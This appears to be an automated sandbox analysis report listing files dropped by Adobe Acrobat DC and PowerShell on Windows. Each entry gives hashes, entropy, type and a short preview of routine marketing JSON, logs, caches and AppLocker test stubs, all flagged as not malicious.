C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.268478237762344
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSvdv4Zd7+FIbRI6XVW7+0YRW4oAvJfYdPeUkwRe9:YvXKXSR4ZdyYpW7aWDGg8Ukee9
MD5:	73936739B5E00DE4E7FABFD4EE6DE961
SHA1:	1797C93100E6F28104E2CD94A5CE8276328CB421
SHA-256:	E85C5C115CE2F01C8DB8B5BDFCF2AF2ED05DD8305815E13F8273D4999CAD80D7
SHA-512:	1D0EC44085D0D3F70284489E8FAB84DAAAADE6E07E0E866DC237C4F515EFE6703FA92DBDF1733FD1DB1F5C5AE2A94C06CCECD3326C8A1F7A8541CEBC3FB7A25C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbe95460-e6cf-468f-af06-78a64ba791ee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736721965375,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.254822490972102
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSvdv4Zd7+FIbRI6XVW7+0YRW4oAvJf+dPeUkwRe9:YvXKXSR4ZdyYpW7aWDG28Ukee9
MD5:	BBA48B4AFFA7B6082BBC841DB247BFAB
SHA1:	EB733CECE4594B4AC83896C61F7226DADB228343
SHA-256:	6EC190BEBC39934CB039D948C755C61E6EA07505C380436A2AE5CCF1705D2C53
SHA-512:	D3A082734316EA246012D23D4AAF69EF52B659CDE3550B6819B11309BBDB07F0779E92643E935BBA7EDEEC755169A4DF0DAEFFFBD583DDBE9400B68BB5E7A824
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbe95460-e6cf-468f-af06-78a64ba791ee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736721965375,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.252241979850211
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSvdv4Zd7+FIbRI6XVW7+0YRW4oAvJfbPtdPeUkwRe9:YvXKXSR4ZdyYpW7aWDGDV8Ukee9
MD5:	992E0B1DBAEE1D3966ED03922FF23825
SHA1:	6D2459B77984DF7CEB5F0DEEF1709FF5A80D9254
SHA-256:	3AA41C4A696BAC11D15D8B6130FA10C9B9867EA6780BDE81A5C7DD5717B6F712
SHA-512:	3397F60AC307C82A111A18F067D1EBD6320D47C5A39A7490DBDC0569D66A73DBB03D1C67227D926B01169B093F8DC86C5105F5A1A5B6C3F5C3D46121C0543503
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbe95460-e6cf-468f-af06-78a64ba791ee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736721965375,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.253774756458152
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSvdv4Zd7+FIbRI6XVW7+0YRW4oAvJf21rPeUkwRe9:YvXKXSR4ZdyYpW7aWDG+16Ukee9
MD5:	38CDE402CC5DDFE7D2A9CD6111B49F24
SHA1:	312E15ED4D08951E0CB280293581583ABB408344
SHA-256:	7143150FE04E27352E46861CD55F4146DEED880676E840B28814526E8D6B0F58
SHA-512:	DA8D72E32DAFE6F336305A5642633DD30FF8B030F3EFF032F2AB1368E9B483FDEF09DDBF0C77C62DCAF6C767BA0604BCD3523DD2F96CFEB9DA980FBC375B7DE5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbe95460-e6cf-468f-af06-78a64ba791ee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736721965375,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658345302232506
Encrypted:	false
SSDEEP:	24:Yv6XJ5idsamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSe:Yv9YBgkDMUJUAh8cvMe
MD5:	4194038A41FC896FE0E391CDA35C0513
SHA1:	3DE5BAABB31376E8E63E9357CBB5CB37F311C0D5
SHA-256:	70CDA2CB44E5288BA2D60E565DADBB7B4795C426BF66F7609B3FA863E8EAB32A
SHA-512:	A2B69109921E0E85BCAE828099865CB21AB23F3AC074D800BD2973968CB9302727BB0135C6CFA990E4E2FA21512B138A2C30FC9A15EF82868E2449455459129D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbe95460-e6cf-468f-af06-78a64ba791ee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736721965375,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.230819417742564
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSvdv4Zd7+FIbRI6XVW7+0YRW4oAvJfshHHrPeUkwRe9:YvXKXSR4ZdyYpW7aWDGUUUkee9
MD5:	0D9D81F8DECB1EABF3D0B4D28DEF9245
SHA1:	AEFD520DE89BC54F95F9C742D19C93AB71111C35
SHA-256:	C5F85744B4BBFAC6A24A47FAE89E6E97BA0370A22FFD954A68340B59493787CD
SHA-512:	51C67DEA8963EF590D39B10F2B3B097AD03899F94B5F07A601046C696F65FDF2B53FBAE7DA3296A2E39276555183E275692A1062953995A42B907E75899F055E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbe95460-e6cf-468f-af06-78a64ba791ee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736721965375,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2464733902988865
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSvdv4Zd7+FIbRI6XVW7+0YRW4oAvJTqgFCrPeUkwRe9:YvXKXSR4ZdyYpW7aWDGTq16Ukee9
MD5:	E42A8EE81E64FA397AB58906850DF118
SHA1:	F3D998B1DC8B1E72B5495B84C6DA777E5A2E03F4
SHA-256:	F2BE8B85FDC31F2F4F6C72F588A335111056A5E01AC4B348367240DAF291B956
SHA-512:	671738CB34347258A3A57FE4B5F61CADC860B678C339C75E2425FA0C8FEF01F7206F2885CE45EC8DAC346A7744BF7C7E59EEB63E85827FC9C90B7EDB2D60665E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbe95460-e6cf-468f-af06-78a64ba791ee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736721965375,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143744881805323
Encrypted:	false
SSDEEP:	48:Y6PbFZvK+kMjWurIkUH1gOrthxro29ea1wY:JnPkM7nedt/HmY
MD5:	B9381FEFDC895F4374A8B6602F95D345
SHA1:	9F08AF564764C35D876D0FF028099DAC104AB098
SHA-256:	C43C897524764349CAC00339DB1B4A15029AEE8A21BBF3F9CDCF34E2FC8749A4
SHA-512:	58A544737429C3018282BDC5F4DB25F1AA7EF75962703591DB61888AF66E66E088ACA2F400AEC16016A2817F10AA9B85819A5315ED414B144239E26EAD0F967D
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"8981deae3e31f54f6ab0407d991b873c","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736542865000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d6b18753bd3ec31da0e498acdbc36457","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736542865000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"165a4e093676207bbe4051254fad58be","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736542865000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"458f2d9106cb273bf907202564c29af1","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736542865000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"3e71d57c248702202b798166fd727418","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736542865000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5ff4c0e77264683b23c06d6955b80999","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.0021730519557774
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7ursB1RZKHs/DT5mPPm5fpbUx5mPuVL52L3K52e8K52eD52O4:TGufl2GL7msvgOUPkwWPuWLbnFO4
MD5:	444010379A6EA1F9D03DC24E84B6BCCE
SHA1:	9E81F3204CC98F520941F3D335290DC8A966CE77
SHA-256:	8FEF94A94207AE36D1E3B5D192E15B07A6B55FE890235280659A45FB853B3D98
SHA-512:	AAAB85ABF121FB8C55E459A0CC79387CB9D18AFA4BDC6AC2B1DC16A32C26535B6AA91054F70E632936FD31F39BE69EFA407C6E1549AAE4E6EC2D6DD1F3C5E2BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3635045382581983
Encrypted:	false
SSDEEP:	24:7+t8b1RZKHs/Ds/SpTm5fpbUx5mPuVL52L3K52e8K52eD52Ohm5fafqLhx/XYKQ6:7M8JgOVpowWPuWLbnFOhfqFl2GL7msF
MD5:	ED1C6947798C3BEADCC91CB0CCFC83C1
SHA1:	8DD824EEBF9FE678D3DF969A2796AA6CE93A266F
SHA-256:	AE36C7995DB90E2166DC2B1B51B7E02328A491D0579B9FCEE5F18CC20C22BA2B
SHA-512:	52FD24796740C1B045862931C37ADDA23FCD83DF0098D526AB0F74FB903E4B69AC223186FF16C0889B9226B0401FB805F9EF716BCFB258E2D45686C1E0BB569B
Malicious:	false
Preview:	.... .c.....!.(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#...z.>.....}.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgxoJH/SjUDJx/ehXUZXVPB/wTAiYyu:6a6TZ44ADExo5DJx/ehKXlKK
MD5:	33B8B23ED389C2BDDF50546AB04BCCA6
SHA1:	1219EE7AB9A5B20F1D18CA3DF1B538B48BBC719E
SHA-256:	F188C856AE913EF9A70CC48543C81A4CFE181A2298CAB02E09E6F7B3955A9D67
SHA-512:	58D28DF0E48C31B0912450DD81B2FFF4F9918EF10A122514C11FA29B090A9D5AE9E2E624450964804CC2242A899729BE570ED336B827ECC7E57CCFA9ABC473EF
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIa2cc5.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNEoll:Qw946cPbiOxDlbYnuRK+bDrNjl
MD5:	8D357E0F35C75ADC8E304467E3931B28
SHA1:	27EB638D0F7289F12C4DD4775E720164314BE073
SHA-256:	7D51E3C298E6717E8A4B0892EC0C77B7ADD5A4511CFF458395F09BB212ADF9D8
SHA-512:	7F04F516AFBB92D9A7C96D791D7008AFDA824EBDB5E8E18624CA644B0CC2FB79B2E16EEACDB0A0C799D42BC66FCE4DE16E867A05AA7E48FE85434D3D23A07D2B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.0.1.:.0.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3yw5khvq.spr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tbgazdcf.pln.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9vt8kon_bgyawe_4k4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-01-01-342.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3548519065913025
Encrypted:	false
SSDEEP:	384:UPrqyuXWz7kENDI6GZg6MVL2GViuDT3ZEvVGg027GqEDDDjDJDeAmfU8mTmXa9Lr:e51
MD5:	A75EEF719D9C97B1CFD6AEE05424701C
SHA1:	4EEB465FC60372024B5625C9D8B9074D27F0D8ED
SHA-256:	83B069E468F4D49CFAC7539A3C73A2BABF8F96463D6A1997946E53B4BFAFFD32
SHA-512:	61841100C65E67BF1EF52EDF2C2C8B251D936F9B0304C4E3E0BE094F35975EA046A6D546DA6B976B39C31FD9A5CD3F8250BBE6F3C6C1C26B5E0C1BDBEA56BC40
Malicious:	false
Preview:	SessionID=55af0db5-ddc9-4d96-9e1c-5cc28d49a393.1736542861361 Timestamp=2025-01-10T16:01:01:361-0500 ThreadID=7808 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=55af0db5-ddc9-4d96-9e1c-5cc28d49a393.1736542861361 Timestamp=2025-01-10T16:01:01:384-0500 ThreadID=7808 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=55af0db5-ddc9-4d96-9e1c-5cc28d49a393.1736542861361 Timestamp=2025-01-10T16:01:01:384-0500 ThreadID=7808 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=55af0db5-ddc9-4d96-9e1c-5cc28d49a393.1736542861361 Timestamp=2025-01-10T16:01:01:384-0500 ThreadID=7808 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=55af0db5-ddc9-4d96-9e1c-5cc28d49a393.1736542861361 Timestamp=2025-01-10T16:01:01:385-0500 ThreadID=7808 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.387373241633783
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbo:BG
MD5:	4D13148CB36CDF2729818AFFFF662A9F
SHA1:	7747F31D350E649BA6144ADF3309DFCE899E9206
SHA-256:	EA016702CC5173824EAD18222752EC105BEBA0A2A9843BB371D81E5751A156D8
SHA-512:	467A7876BBF56CDED139AD7554F756D49173E2DD924C0E2BCC6D6A5F6FD11B6A15C31DE301848AA6EE4EBC2F3AC2D0EA9EE7DD5DE37BE2E566A6D34B72E51CB1
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\afd8f5d5-e2cd-4689-a636-c5b2f602c252.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
